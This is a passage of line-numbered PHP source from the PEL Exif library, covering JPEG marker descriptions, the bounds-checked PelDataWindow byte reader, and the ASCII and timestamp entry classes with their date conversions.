'APP2'; 261 | case self::APP3: return 'APP3'; 262 | case self::APP4: return 'APP4'; 263 | case self::APP5: return 'APP5'; 264 | case self::APP6: return 'APP6'; 265 | case self::APP7: return 'APP7'; 266 | case self::APP8: return 'APP8'; 267 | case self::APP9: return 'APP9'; 268 | case self::APP10: return 'APP10'; 269 | case self::APP11: return 'APP11'; 270 | case self::APP12: return 'APP12'; 271 | case self::APP13: return 'APP13'; 272 | case self::APP14: return 'APP14'; 273 | case self::APP15: return 'APP15'; 274 | case self::JPG0: return 'JPG0'; 275 | case self::JPG1: return 'JPG1'; 276 | case self::JPG2: return 'JPG2'; 277 | case self::JPG3: return 'JPG3'; 278 | case self::JPG4: return 'JPG4'; 279 | case self::JPG5: return 'JPG5'; 280 | case self::JPG6: return 'JPG6'; 281 | case self::JPG7: return 'JPG7'; 282 | case self::JPG8: return 'JPG8'; 283 | case self::JPG9: return 'JPG9'; 284 | case self::JPG10: return 'JPG10'; 285 | case self::JPG11: return 'JPG11'; 286 | case self::JPG12: return 'JPG12'; 287 | case self::JPG13: return 'JPG13'; 288 | case self::COM: return 'COM'; 289 | default: return Pel::fmt('Unknown marker: 0x%02X', $m); 290 | } 291 | } 292 | 293 | /** 294 | * Returns a description of a JPEG marker. 295 | * 296 | * @param PelJpegMarker the marker. 297 | * 298 | * @return string the description of the marker. 299 | */ 300 | static function getDescription($m) { 301 | switch ($m) { 302 | case self::SOF0: 303 | return Pel::tra('Encoding (baseline)'); 304 | case self::SOF1: 305 | return Pel::tra('Encoding (extended sequential)'); 306 | case self::SOF2: 307 | return Pel::tra('Encoding (progressive)'); 308 | case self::SOF3: 309 | return Pel::tra('Encoding (lossless)'); 310 | case self::SOF5: 311 | return Pel::tra('Encoding (differential sequential)'); 312 | case self::SOF6: 313 | return Pel::tra('Encoding (differential progressive)'); 314 | case self::SOF7: 315 | return Pel::tra('Encoding (differential lossless)'); 316 | case self::SOF9: 317 | return Pel::tra('Encoding (extended sequential, arithmetic)'); 318 | case self::SOF10: 319 | return Pel::tra('Encoding (progressive, arithmetic)'); 320 | case self::SOF11: 321 | return Pel::tra('Encoding (lossless, arithmetic)'); 322 | case self::SOF13: 323 | return Pel::tra('Encoding (differential sequential, arithmetic)'); 324 | case self::SOF14: 325 | return Pel::tra('Encoding (differential progressive, arithmetic)'); 326 | case self::SOF15: 327 | return Pel::tra('Encoding (differential lossless, arithmetic)'); 328 | case self::SOI: 329 | return Pel::tra('Start of image'); 330 | case self::EOI: 331 | return Pel::tra('End of image'); 332 | case self::SOS: 333 | return Pel::tra('Start of scan'); 334 | case self::COM: 335 | return Pel::tra('Comment'); 336 | case self::DHT: 337 | return Pel::tra('Define Huffman table'); 338 | case self::JPG: 339 | return Pel::tra('Extension'); 340 | case self::DAC: 341 | return Pel::tra('Define arithmetic coding conditioning'); 342 | case self::RST0: 343 | return Pel::fmt('Restart %d', 0); 344 | case self::RST1: 345 | return Pel::fmt('Restart %d', 1); 346 | case self::RST2: 347 | return Pel::fmt('Restart %d', 2); 348 | case self::RST3: 349 | return Pel::fmt('Restart %d', 3); 350 | case self::RST4: 351 | return Pel::fmt('Restart %d', 4); 352 | case self::RST5: 353 | return Pel::fmt('Restart %d', 5); 354 | case self::RST6: 355 | return Pel::fmt('Restart %d', 6); 356 | case self::RST7: 357 | return Pel::fmt('Restart %d', 7); 358 | case self::DQT: 359 | return Pel::tra('Define quantization table'); 360 | case self::DNL: 361 | return Pel::tra('Define number of lines'); 362 | case self::DRI: 363 | return Pel::tra('Define restart interval'); 364 | case self::DHP: 365 | return Pel::tra('Define hierarchical progression'); 366 | case self::EXP: 367 | return Pel::tra('Expand reference component'); 368 | case self::APP0: 369 | return Pel::fmt('Application segment %d', 0); 370 | case self::APP1: 371 | return Pel::fmt('Application segment %d', 1); 372 | case self::APP2: 373 | return Pel::fmt('Application segment %d', 2); 374 | case self::APP3: 375 | return Pel::fmt('Application segment %d', 3); 376 | case self::APP4: 377 | return Pel::fmt('Application segment %d', 4); 378 | case self::APP5: 379 | return Pel::fmt('Application segment %d', 5); 380 | case self::APP6: 381 | return Pel::fmt('Application segment %d', 6); 382 | case self::APP7: 383 | return Pel::fmt('Application segment %d', 7); 384 | case self::APP8: 385 | return Pel::fmt('Application segment %d', 8); 386 | case self::APP9: 387 | return Pel::fmt('Application segment %d', 9); 388 | case self::APP10: 389 | return Pel::fmt('Application segment %d', 10); 390 | case self::APP11: 391 | return Pel::fmt('Application segment %d', 11); 392 | case self::APP12: 393 | return Pel::fmt('Application segment %d', 12); 394 | case self::APP13: 395 | return Pel::fmt('Application segment %d', 13); 396 | case self::APP14: 397 | return Pel::fmt('Application segment %d', 14); 398 | case self::APP15: 399 | return Pel::fmt('Application segment %d', 15); 400 | case self::JPG0: 401 | return Pel::fmt('Extension %d', 0); 402 | case self::JPG1: 403 | return Pel::fmt('Extension %d', 1); 404 | case self::JPG2: 405 | return Pel::fmt('Extension %d', 2); 406 | case self::JPG3: 407 | return Pel::fmt('Extension %d', 3); 408 | case self::JPG4: 409 | return Pel::fmt('Extension %d', 4); 410 | case self::JPG5: 411 | return Pel::fmt('Extension %d', 5); 412 | case self::JPG6: 413 | return Pel::fmt('Extension %d', 6); 414 | case self::JPG7: 415 | return Pel::fmt('Extension %d', 7); 416 | case self::JPG8: 417 | return Pel::fmt('Extension %d', 8); 418 | case self::JPG9: 419 | return Pel::fmt('Extension %d', 9); 420 | case self::JPG10: 421 | return Pel::fmt('Extension %d', 10); 422 | case self::JPG11: 423 | return Pel::fmt('Extension %d', 11); 424 | case self::JPG12: 425 | return Pel::fmt('Extension %d', 12); 426 | case self::JPG13: 427 | return Pel::fmt('Extension %d', 13); 428 | case self::COM: 429 | return Pel::tra('Comment'); 430 | default: 431 | return Pel::fmt('Unknown marker: 0x%02X', $m); 432 | } 433 | } 434 | } 435 | 436 | -------------------------------------------------------------------------------- /pel/PelDataWindow.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public License (GPL) 35 | * @package PEL 36 | */ 37 | 38 | /**#@+ Required class definitions. */ 39 | require_once('PelException.php'); 40 | require_once('PelConvert.php'); 41 | /**#@-*/ 42 | 43 | 44 | /** 45 | * An exception thrown when an invalid offset is encountered. 46 | * 47 | * @package PEL 48 | * @subpackage Exception 49 | */ 50 | class PelDataWindowOffsetException extends PelException {} 51 | 52 | /** 53 | * An exception thrown when an invalid window is encountered. 54 | * 55 | * @package PEL 56 | * @subpackage Exception 57 | */ 58 | class PelDataWindowWindowException extends PelException {} 59 | 60 | /** 61 | * The window. 62 | * 63 | * @package PEL 64 | */ 65 | class PelDataWindow { 66 | 67 | /** 68 | * The data held by this window. 69 | * 70 | * The string can contain any kind of data, including binary data. 71 | * 72 | * @var string 73 | */ 74 | private $data = ''; 75 | 76 | /** 77 | * The byte order currently in use. 78 | * 79 | * This will be the byte order used when data is read using the for 80 | * example the {@link getShort} function. It must be one of {@link 81 | * PelConvert::LITTLE_ENDIAN} and {@link PelConvert::BIG_ENDIAN}. 82 | * 83 | * @var PelByteOrder 84 | * @see setByteOrder, getByteOrder 85 | */ 86 | private $order; 87 | 88 | /** 89 | * The start of the current window. 90 | * 91 | * All offsets used for access into the data will count from this 92 | * offset, effectively limiting access to a window starting at this 93 | * byte. 94 | * 95 | * @var int 96 | * @see setWindowStart 97 | */ 98 | private $start = 0; 99 | 100 | /** 101 | * The size of the current window. 102 | * 103 | * All offsets used for access into the data will be limited by this 104 | * variable. A valid offset must be strictly less than this 105 | * variable. 106 | * 107 | * @var int 108 | * @see setWindowSize 109 | */ 110 | private $size = 0; 111 | 112 | 113 | /** 114 | * Construct a new data window with the data supplied. 115 | * 116 | * @param mixed the data that this window will contain. This can 117 | * either be given as a string (interpreted litteraly as a sequence 118 | * of bytes) or a PHP image resource handle. The data will be copied 119 | * into the new data window. 120 | * 121 | * @param boolean the initial byte order of the window. This must 122 | * be either {@link PelConvert::LITTLE_ENDIAN} or {@link 123 | * PelConvert::BIG_ENDIAN}. This will be used when integers are 124 | * read from the data, and it can be changed later with {@link 125 | * setByteOrder()}. 126 | */ 127 | function __construct($data = '', $endianess = PelConvert::LITTLE_ENDIAN) { 128 | if (is_string($data)) { 129 | $this->data = $data; 130 | } elseif (is_resource($data) && get_resource_type($data) == 'gd') { 131 | /* The ImageJpeg() function insists on printing the bytes 132 | * instead of returning them in a more civil way as a string, so 133 | * we have to buffer the output... */ 134 | ob_start(); 135 | ImageJpeg($data, null, Pel::getJPEGQuality()); 136 | $this->data = ob_get_clean(); 137 | } else { 138 | throw new PelInvalidArgumentException('Bad type for $data: %s', 139 | gettype($data)); 140 | } 141 | 142 | $this->order = $endianess; 143 | $this->size = strlen($this->data); 144 | } 145 | 146 | 147 | /** 148 | * Get the size of the data window. 149 | * 150 | * @return int the number of bytes covered by the window. The 151 | * allowed offsets go from 0 up to this number minus one. 152 | * 153 | * @see getBytes() 154 | */ 155 | function getSize() { 156 | return $this->size; 157 | } 158 | 159 | 160 | /** 161 | * Change the byte order of the data. 162 | * 163 | * @param PelByteOrder the new byte order. This must be either 164 | * {@link PelConvert::LITTLE_ENDIAN} or {@link 165 | * PelConvert::BIG_ENDIAN}. 166 | */ 167 | function setByteOrder($o) { 168 | $this->order = $o; 169 | } 170 | 171 | 172 | /** 173 | * Get the currently used byte order. 174 | * 175 | * @return PelByteOrder this will be either {@link 176 | * PelConvert::LITTLE_ENDIAN} or {@link PelConvert::BIG_ENDIAN}. 177 | */ 178 | function getByteOrder() { 179 | return $this->order; 180 | } 181 | 182 | 183 | /* Move the start of the window forward. 184 | * 185 | * @param int the new start of the window. All new offsets will be 186 | * calculated from this new start offset, and the size of the window 187 | * will shrink to keep the end of the window in place. 188 | */ 189 | function setWindowStart($start) { 190 | if ($start < 0 || $start > $this->size) 191 | throw new PelDataWindowWindowException('Window [%d, %d] does ' . 192 | 'not fit in window [0, %d]', 193 | $start, $this->size, $this->size); 194 | 195 | $this->start += $start; 196 | $this->size -= $start; 197 | } 198 | 199 | 200 | /** 201 | * Adjust the size of the window. 202 | * 203 | * The size can only be made smaller. 204 | * 205 | * @param int the desired size of the window. If the argument is 206 | * negative, the window will be shrunk by the argument. 207 | */ 208 | function setWindowSize($size) { 209 | if ($size < 0) 210 | $size += $this->size; 211 | 212 | if ($size < 0 || $size > $this->size) 213 | throw new PelDataWindowWindowException('Window [0, %d] ' . 214 | 'does not fit in window [0, %d]', 215 | $size, $this->size); 216 | $this->size = $size; 217 | } 218 | 219 | 220 | /** 221 | * Make a new data window with the same data as the this window. 222 | * 223 | * @param mixed if an integer is supplied, then it will be the start 224 | * of the window in the clone. If left unspecified, then the clone 225 | * will inherit the start from this object. 226 | * 227 | * @param mixed if an integer is supplied, then it will be the size 228 | * of the window in the clone. If left unspecified, then the clone 229 | * will inherit the size from this object. 230 | * 231 | * @return PelDataWindow a new window that operates on the same data 232 | * as this window, but (optionally) with a smaller window size. 233 | */ 234 | function getClone($start = false, $size = false) { 235 | $c = clone $this; 236 | 237 | if (is_int($start)) 238 | $c->setWindowStart($start); 239 | 240 | if (is_int($size)) 241 | $c->setWindowSize($size); 242 | 243 | return $c; 244 | } 245 | 246 | 247 | /** 248 | * Validate an offset against the current window. 249 | * 250 | * @param int the offset to be validated. If the offset is negative 251 | * or if it is greater than or equal to the current window size, 252 | * then a {@link PelDataWindowOffsetException} is thrown. 253 | * 254 | * @return void if the offset is valid nothing is returned, if it is 255 | * invalid a new {@link PelDataWindowOffsetException} is thrown. 256 | */ 257 | private function validateOffset($o) { 258 | if ($o < 0 || $o >= $this->size) 259 | throw new PelDataWindowOffsetException('Offset %d not within [%d, %d]', 260 | $o, 0, $this->size-1); 261 | } 262 | 263 | 264 | /** 265 | * Return some or all bytes visible in the window. 266 | * 267 | * This method works just like the standard {@link substr()} 268 | * function in PHP with the exception that it works within the 269 | * window of accessible bytes and does strict range checking. 270 | * 271 | * @param int the offset to the first byte returned. If a negative 272 | * number is given, then the counting will be from the end of the 273 | * window. Invalid offsets will result in a {@link 274 | * PelDataWindowOffsetException} being thrown. 275 | * 276 | * @param int the size of the sub-window. If a negative number is 277 | * given, then that many bytes will be omitted from the result. 278 | * 279 | * @return string a subset of the bytes in the window. This will 280 | * always return no more than {@link getSize()} bytes. 281 | */ 282 | function getBytes($start = false, $size = false) { 283 | if (is_int($start)) { 284 | if ($start < 0) 285 | $start += $this->size; 286 | 287 | $this->validateOffset($start); 288 | } else { 289 | $start = 0; 290 | } 291 | 292 | if (is_int($size)) { 293 | if ($size <= 0) 294 | $size += $this->size - $start; 295 | 296 | $this->validateOffset($start+$size); 297 | } else { 298 | $size = $this->size - $start; 299 | } 300 | 301 | return substr($this->data, $this->start + $start, $size); 302 | } 303 | 304 | 305 | /** 306 | * Return an unsigned byte from the data. 307 | * 308 | * @param int the offset into the data. An offset of zero will 309 | * return the first byte in the current allowed window. The last 310 | * valid offset is equal to {@link getSize()}-1. Invalid offsets 311 | * will result in a {@link PelDataWindowOffsetException} being 312 | * thrown. 313 | * 314 | * @return int the unsigned byte found at offset. 315 | */ 316 | function getByte($o = 0) { 317 | /* Validate the offset --- this throws an exception if offset is 318 | * out of range. */ 319 | $this->validateOffset($o); 320 | 321 | /* Translate the offset into an offset into the data. */ 322 | $o += $this->start; 323 | 324 | /* Return an unsigned byte. */ 325 | return PelConvert::bytesToByte($this->data, $o); 326 | } 327 | 328 | 329 | /** 330 | * Return a signed byte from the data. 331 | * 332 | * @param int the offset into the data. An offset of zero will 333 | * return the first byte in the current allowed window. The last 334 | * valid offset is equal to {@link getSize()}-1. Invalid offsets 335 | * will result in a {@link PelDataWindowOffsetException} being 336 | * thrown. 337 | * 338 | * @return int the signed byte found at offset. 339 | */ 340 | function getSByte($o = 0) { 341 | /* Validate the offset --- this throws an exception if offset is 342 | * out of range. */ 343 | $this->validateOffset($o); 344 | 345 | /* Translate the offset into an offset into the data. */ 346 | $o += $this->start; 347 | 348 | /* Return a signed byte. */ 349 | return PelConvert::bytesToSByte($this->data, $o); 350 | } 351 | 352 | 353 | /** 354 | * Return an unsigned short read from the data. 355 | * 356 | * @param int the offset into the data. An offset of zero will 357 | * return the first short available in the current allowed window. 358 | * The last valid offset is equal to {@link getSize()}-2. Invalid 359 | * offsets will result in a {@link PelDataWindowOffsetException} 360 | * being thrown. 361 | * 362 | * @return int the unsigned short found at offset. 363 | */ 364 | function getShort($o = 0) { 365 | /* Validate the offset+1 to see if we can safely get two bytes --- 366 | * this throws an exception if offset is out of range. */ 367 | $this->validateOffset($o); 368 | $this->validateOffset($o+1); 369 | 370 | /* Translate the offset into an offset into the data. */ 371 | $o += $this->start; 372 | 373 | /* Return an unsigned short. */ 374 | return PelConvert::bytesToShort($this->data, $o, $this->order); 375 | } 376 | 377 | 378 | /** 379 | * Return a signed short read from the data. 380 | * 381 | * @param int the offset into the data. An offset of zero will 382 | * return the first short available in the current allowed window. 383 | * The last valid offset is equal to {@link getSize()}-2. Invalid 384 | * offsets will result in a {@link PelDataWindowOffsetException} 385 | * being thrown. 386 | * 387 | * @return int the signed short found at offset. 388 | */ 389 | function getSShort($o = 0) { 390 | /* Validate the offset+1 to see if we can safely get two bytes --- 391 | * this throws an exception if offset is out of range. */ 392 | $this->validateOffset($o); 393 | $this->validateOffset($o+1); 394 | 395 | /* Translate the offset into an offset into the data. */ 396 | $o += $this->start; 397 | 398 | /* Return a signed short. */ 399 | return PelConvert::bytesToSShort($this->data, $o, $this->order); 400 | } 401 | 402 | 403 | /** 404 | * Return an unsigned long read from the data. 405 | * 406 | * @param int the offset into the data. An offset of zero will 407 | * return the first long available in the current allowed window. 408 | * The last valid offset is equal to {@link getSize()}-4. Invalid 409 | * offsets will result in a {@link PelDataWindowOffsetException} 410 | * being thrown. 411 | * 412 | * @return int the unsigned long found at offset. 413 | */ 414 | function getLong($o = 0) { 415 | /* Validate the offset+3 to see if we can safely get four bytes 416 | * --- this throws an exception if offset is out of range. */ 417 | $this->validateOffset($o); 418 | $this->validateOffset($o+3); 419 | 420 | /* Translate the offset into an offset into the data. */ 421 | $o += $this->start; 422 | 423 | /* Return an unsigned long. */ 424 | return PelConvert::bytesToLong($this->data, $o, $this->order); 425 | } 426 | 427 | 428 | /** 429 | * Return a signed long read from the data. 430 | * 431 | * @param int the offset into the data. An offset of zero will 432 | * return the first long available in the current allowed window. 433 | * The last valid offset is equal to {@link getSize()}-4. Invalid 434 | * offsets will result in a {@link PelDataWindowOffsetException} 435 | * being thrown. 436 | * 437 | * @return int the signed long found at offset. 438 | */ 439 | function getSLong($o = 0) { 440 | /* Validate the offset+3 to see if we can safely get four bytes 441 | * --- this throws an exception if offset is out of range. */ 442 | $this->validateOffset($o); 443 | $this->validateOffset($o+3); 444 | 445 | /* Translate the offset into an offset into the data. */ 446 | $o += $this->start; 447 | 448 | /* Return a signed long. */ 449 | return PelConvert::bytesToSLong($this->data, $o, $this->order); 450 | } 451 | 452 | 453 | /** 454 | * Return an unsigned rational read from the data. 455 | * 456 | * @param int the offset into the data. An offset of zero will 457 | * return the first rational available in the current allowed 458 | * window. The last valid offset is equal to {@link getSize()}-8. 459 | * Invalid offsets will result in a {@link 460 | * PelDataWindowOffsetException} being thrown. 461 | * 462 | * @return array the unsigned rational found at offset. A rational 463 | * number is represented as an array of two numbers: the enumerator 464 | * and denominator. Both of these numbers will be unsigned longs. 465 | */ 466 | function getRational($o = 0) { 467 | return array($this->getLong($o), $this->getLong($o+4)); 468 | } 469 | 470 | 471 | /** 472 | * Return a signed rational read from the data. 473 | * 474 | * @param int the offset into the data. An offset of zero will 475 | * return the first rational available in the current allowed 476 | * window. The last valid offset is equal to {@link getSize()}-8. 477 | * Invalid offsets will result in a {@link 478 | * PelDataWindowOffsetException} being thrown. 479 | * 480 | * @return array the signed rational found at offset. A rational 481 | * number is represented as an array of two numbers: the enumerator 482 | * and denominator. Both of these numbers will be signed longs. 483 | */ 484 | function getSRational($o = 0) { 485 | return array($this->getSLong($o), $this->getSLong($o+4)); 486 | } 487 | 488 | 489 | /** 490 | * String comparison on substrings. 491 | * 492 | * @param int the offset into the data. An offset of zero will make 493 | * the comparison start with the very first byte available in the 494 | * window. The last valid offset is equal to {@link getSize()} 495 | * minus the length of the string. If the string is too long, then 496 | * a {@link PelDataWindowOffsetException} will be thrown. 497 | * 498 | * @param string the string to compare with. 499 | * 500 | * @return boolean true if the string given matches the data in the 501 | * window, at the specified offset, false otherwise. The comparison 502 | * will stop as soon as a mismatch if found. 503 | */ 504 | function strcmp($o, $str) { 505 | /* Validate the offset of the final character we might have to 506 | * check. */ 507 | $s = strlen($str); 508 | $this->validateOffset($o); 509 | $this->validateOffset($o + $s - 1); 510 | 511 | /* Translate the offset into an offset into the data. */ 512 | $o += $this->start; 513 | 514 | /* Check each character, return as soon as the answer is known. */ 515 | for ($i = 0; $i < $s; $i++) { 516 | if ($this->data{$o + $i} != $str{$i}) 517 | return false; 518 | } 519 | 520 | /* All characters matches each other, return true. */ 521 | return true; 522 | } 523 | 524 | 525 | /** 526 | * Return a string representation of the data window. 527 | * 528 | * @return string a description of the window with information about 529 | * the number of bytes accessible, the total number of bytes, and 530 | * the window start and stop. 531 | */ 532 | function __toString() { 533 | return Pel::fmt('DataWindow: %d bytes in [%d, %d] of %d bytes', 534 | $this->size, 535 | $this->start, $this->start + $this->size, 536 | strlen($this->data)); 537 | } 538 | 539 | } 540 | 541 | -------------------------------------------------------------------------------- /pel/PelEntryAscii.php: -------------------------------------------------------------------------------- 1 | 41 | * @version $Revision$ 42 | * @date $Date$ 43 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 44 | * License (GPL) 45 | * @package PEL 46 | */ 47 | 48 | /**#@+ Required class definitions. */ 49 | require_once('PelEntry.php'); 50 | /**#@-*/ 51 | 52 | 53 | /** 54 | * Class for holding a plain ASCII string. 55 | * 56 | * This class can hold a single ASCII string, and it will be used as in 57 | * 58 | * $entry = $ifd->getEntry(PelTag::IMAGE_DESCRIPTION); 59 | * print($entry->getValue()); 60 | * $entry->setValue('This is my image. I like it.'); 61 | * 62 | * 63 | * @author Martin Geisler 64 | * @package PEL 65 | */ 66 | class PelEntryAscii extends PelEntry { 67 | 68 | /** 69 | * The string hold by this entry. 70 | * 71 | * This is the string that was given to the {@link __construct 72 | * constructor} or later to {@link setValue}, without any final NULL 73 | * character. 74 | * 75 | * @var string 76 | */ 77 | private $str; 78 | 79 | 80 | /** 81 | * Make a new PelEntry that can hold an ASCII string. 82 | * 83 | * @param int the tag which this entry represents. This should be 84 | * one of the constants defined in {@link PelTag}, e.g., {@link 85 | * PelTag::IMAGE_DESCRIPTION}, {@link PelTag::MODEL}, or any other 86 | * tag with format {@link PelFormat::ASCII}. 87 | * 88 | * @param string the string that this entry will represent. The 89 | * string must obey the same rules as the string argument to {@link 90 | * setValue}, namely that it should be given without any trailing 91 | * NULL character and that it must be plain 7-bit ASCII. 92 | */ 93 | function __construct($tag, $str = '') { 94 | $this->tag = $tag; 95 | $this->format = PelFormat::ASCII; 96 | self::setValue($str); 97 | } 98 | 99 | 100 | /** 101 | * Give the entry a new ASCII value. 102 | * 103 | * This will overwrite the previous value. The value can be 104 | * retrieved later with the {@link getValue} method. 105 | * 106 | * @param string the new value of the entry. This should be given 107 | * without any trailing NULL character. The string must be plain 108 | * 7-bit ASCII, the string should contain no high bytes. 109 | * 110 | * @todo Implement check for high bytes? 111 | */ 112 | function setValue($str) { 113 | $this->components = strlen($str)+1; 114 | $this->str = $str; 115 | $this->bytes = $str . chr(0x00); 116 | } 117 | 118 | 119 | /** 120 | * Return the ASCII string of the entry. 121 | * 122 | * @return string the string held, without any final NULL character. 123 | * The string will be the same as the one given to {@link setValue} 124 | * or to the {@link __construct constructor}. 125 | */ 126 | function getValue() { 127 | return $this->str; 128 | } 129 | 130 | 131 | /** 132 | * Return the ASCII string of the entry. 133 | * 134 | * This methods returns the same as {@link getValue}. 135 | * 136 | * @param boolean not used with ASCII entries. 137 | * 138 | * @return string the string held, without any final NULL character. 139 | * The string will be the same as the one given to {@link setValue} 140 | * or to the {@link __construct constructor}. 141 | */ 142 | function getText($brief = false) { 143 | return $this->str; 144 | } 145 | 146 | } 147 | 148 | 149 | /** 150 | * Class for holding a date and time. 151 | * 152 | * This class can hold a timestamp, and it will be used as 153 | * in this example where the time is advanced by one week: 154 | * 155 | * $entry = $ifd->getEntry(PelTag::DATE_TIME_ORIGINAL); 156 | * $time = $entry->getValue(); 157 | * print('The image was taken on the ' . date('jS', $time)); 158 | * $entry->setValue($time + 7 * 24 * 3600); 159 | * 160 | * 161 | * The example used a standard UNIX timestamp, which is the default 162 | * for this class. 163 | * 164 | * But the Exif format defines dates outside the range of a UNIX 165 | * timestamp (about 1970 to 2038) and so you can also get access to 166 | * the timestamp in two other formats: a simple string or a Julian Day 167 | * Count. Please see the Calendar extension in the PHP Manual for more 168 | * information about the Julian Day Count. 169 | * 170 | * @author Martin Geisler 171 | * @package PEL 172 | */ 173 | class PelEntryTime extends PelEntryAscii { 174 | 175 | /** 176 | * Constant denoting a UNIX timestamp. 177 | */ 178 | const UNIX_TIMESTAMP = 1; 179 | /** 180 | * Constant denoting a Exif string. 181 | */ 182 | const EXIF_STRING = 2; 183 | /** 184 | * Constant denoting a Julian Day Count. 185 | */ 186 | const JULIAN_DAY_COUNT = 3; 187 | 188 | /** 189 | * The Julian Day Count of the timestamp held by this entry. 190 | * 191 | * This is an integer counting the number of whole days since 192 | * January 1st, 4713 B.C. The fractional part of the timestamp held 193 | * by this entry is stored in {@link $seconds}. 194 | * 195 | * @var int 196 | */ 197 | private $day_count; 198 | 199 | /** 200 | * The number of seconds into the day of the timestamp held by this 201 | * entry. 202 | * 203 | * The number of whole days is stored in {@link $day_count} and the 204 | * number of seconds left-over is stored here. 205 | * 206 | * @var int 207 | */ 208 | private $seconds; 209 | 210 | 211 | /** 212 | * Make a new entry for holding a timestamp. 213 | * 214 | * @param int the Exif tag which this entry represents. There are 215 | * only three standard tags which hold timestamp, so this should be 216 | * one of the constants {@link PelTag::DATE_TIME}, {@link 217 | * PelTag::DATE_TIME_ORIGINAL}, or {@link 218 | * PelTag::DATE_TIME_DIGITIZED}. 219 | * 220 | * @param int the timestamp held by this entry in the correct form 221 | * as indicated by the third argument. For {@link UNIX_TIMESTAMP} 222 | * this is an integer counting the number of seconds since January 223 | * 1st 1970, for {@link EXIF_STRING} this is a string of the form 224 | * 'YYYY:MM:DD hh:mm:ss', and for {@link JULIAN_DAY_COUNT} this is a 225 | * floating point number where the integer part denotes the day 226 | * count and the fractional part denotes the time of day (0.25 means 227 | * 6:00, 0.75 means 18:00). 228 | * 229 | * @param int the type of the timestamp. This must be one of 230 | * {@link UNIX_TIMESTAMP}, {@link EXIF_STRING}, or 231 | * {@link JULIAN_DAY_COUNT}. 232 | */ 233 | function __construct($tag, $timestamp, $type = self::UNIX_TIMESTAMP) { 234 | parent::__construct($tag); 235 | $this->setValue($timestamp, $type); 236 | } 237 | 238 | 239 | /** 240 | * Return the timestamp of the entry. 241 | * 242 | * The timestamp held by this entry is returned in one of three 243 | * formats: as a standard UNIX timestamp (default), as a fractional 244 | * Julian Day Count, or as a string. 245 | * 246 | * @param int the type of the timestamp. This must be one of 247 | * {@link UNIX_TIMESTAMP}, {@link EXIF_STRING}, or 248 | * {@link JULIAN_DAY_COUNT}. 249 | * 250 | * @return int the timestamp held by this entry in the correct form 251 | * as indicated by the type argument. For {@link UNIX_TIMESTAMP} 252 | * this is an integer counting the number of seconds since January 253 | * 1st 1970, for {@link EXIF_STRING} this is a string of the form 254 | * 'YYYY:MM:DD hh:mm:ss', and for {@link JULIAN_DAY_COUNT} this is a 255 | * floating point number where the integer part denotes the day 256 | * count and the fractional part denotes the time of day (0.25 means 257 | * 6:00, 0.75 means 18:00). 258 | */ 259 | function getValue($type = self::UNIX_TIMESTAMP) { 260 | switch ($type) { 261 | case self::UNIX_TIMESTAMP: 262 | $seconds = $this->convertJdToUnix($this->day_count); 263 | if ($seconds === false) 264 | /* We get false if the Julian Day Count is outside the range 265 | * of a UNIX timestamp. */ 266 | return false; 267 | else 268 | return $seconds + $this->seconds; 269 | 270 | case self::EXIF_STRING: 271 | list($year, $month, $day) = $this->convertJdToGregorian($this->day_count); 272 | $hours = (int)($this->seconds / 3600); 273 | $minutes = (int)($this->seconds % 3600 / 60); 274 | $seconds = $this->seconds % 60; 275 | return sprintf('%04d:%02d:%02d %02d:%02d:%02d', 276 | $year, $month, $day, $hours, $minutes, $seconds); 277 | case self::JULIAN_DAY_COUNT: 278 | return $this->day_count + $this->seconds / 86400; 279 | default: 280 | throw new PelInvalidArgumentException('Expected UNIX_TIMESTAMP (%d), ' . 281 | 'EXIF_STRING (%d), or ' . 282 | 'JULIAN_DAY_COUNT (%d) for $type, '. 283 | 'got %d.', 284 | self::UNIX_TIMESTAMP, 285 | self::EXIF_STRING, 286 | self::JULIAN_DAY_COUNT, 287 | $type); 288 | } 289 | } 290 | 291 | 292 | /** 293 | * Update the timestamp held by this entry. 294 | * 295 | * @param int the timestamp held by this entry in the correct form 296 | * as indicated by the third argument. For {@link UNIX_TIMESTAMP} 297 | * this is an integer counting the number of seconds since January 298 | * 1st 1970, for {@link EXIF_STRING} this is a string of the form 299 | * 'YYYY:MM:DD hh:mm:ss', and for {@link JULIAN_DAY_COUNT} this is a 300 | * floating point number where the integer part denotes the day 301 | * count and the fractional part denotes the time of day (0.25 means 302 | * 6:00, 0.75 means 18:00). 303 | * 304 | * @param int the type of the timestamp. This must be one of 305 | * {@link UNIX_TIMESTAMP}, {@link EXIF_STRING}, or 306 | * {@link JULIAN_DAY_COUNT}. 307 | */ 308 | function setValue($timestamp, $type = self::UNIX_TIMESTAMP) { 309 | #if (empty($timestamp)) 310 | # debug_print_backtrace(); 311 | 312 | switch ($type) { 313 | case self::UNIX_TIMESTAMP: 314 | $this->day_count = $this->convertUnixToJd($timestamp); 315 | $this->seconds = $timestamp % 86400; 316 | break; 317 | 318 | case self::EXIF_STRING: 319 | /* Clean the timestamp: some timestamps are broken other 320 | * separators than ':' and ' '. */ 321 | $d = preg_split('/[^0-9]+/', $timestamp); 322 | $this->day_count = $this->convertGregorianToJd($d[0], $d[1], $d[2]); 323 | $this->seconds = $d[3]*3600 + $d[4]*60 + $d[5]; 324 | break; 325 | 326 | case self::JULIAN_DAY_COUNT: 327 | $this->day_count = (int)floor($timestamp); 328 | $this->seconds = (int)(86400 * ($timestamp - floor($timestamp))); 329 | break; 330 | 331 | default: 332 | throw new PelInvalidArgumentException('Expected UNIX_TIMESTAMP (%d), ' . 333 | 'EXIF_STRING (%d), or ' . 334 | 'JULIAN_DAY_COUNT (%d) for $type, '. 335 | 'got %d.', 336 | self::UNIX_TIMESTAMP, 337 | self::EXIF_STRING, 338 | self::JULIAN_DAY_COUNT, 339 | $type); 340 | } 341 | 342 | /* Now finally update the string which will be used when this is 343 | * turned into bytes. */ 344 | parent::setValue($this->getValue(self::EXIF_STRING)); 345 | } 346 | 347 | 348 | // The following four functions are used for converting back and 349 | // forth between the date formats. They are used in preference to 350 | // the ones from the PHP calendar extension to avoid having to 351 | // fiddle with timezones and to avoid depending on the extension. 352 | // 353 | // See http://www.hermetic.ch/cal_stud/jdn.htm#comp for a reference. 354 | 355 | /** 356 | * Converts a date in year/month/day format to a Julian Day count. 357 | * 358 | * @param int $year the year. 359 | * @param int $month the month, 1 to 12. 360 | * @param int $day the day in the month. 361 | * @return int the Julian Day count. 362 | */ 363 | function convertGregorianToJd($year, $month, $day) { 364 | // Special case mapping 0/0/0 -> 0 365 | if ($year == 0 || $month == 0 || $day == 0) 366 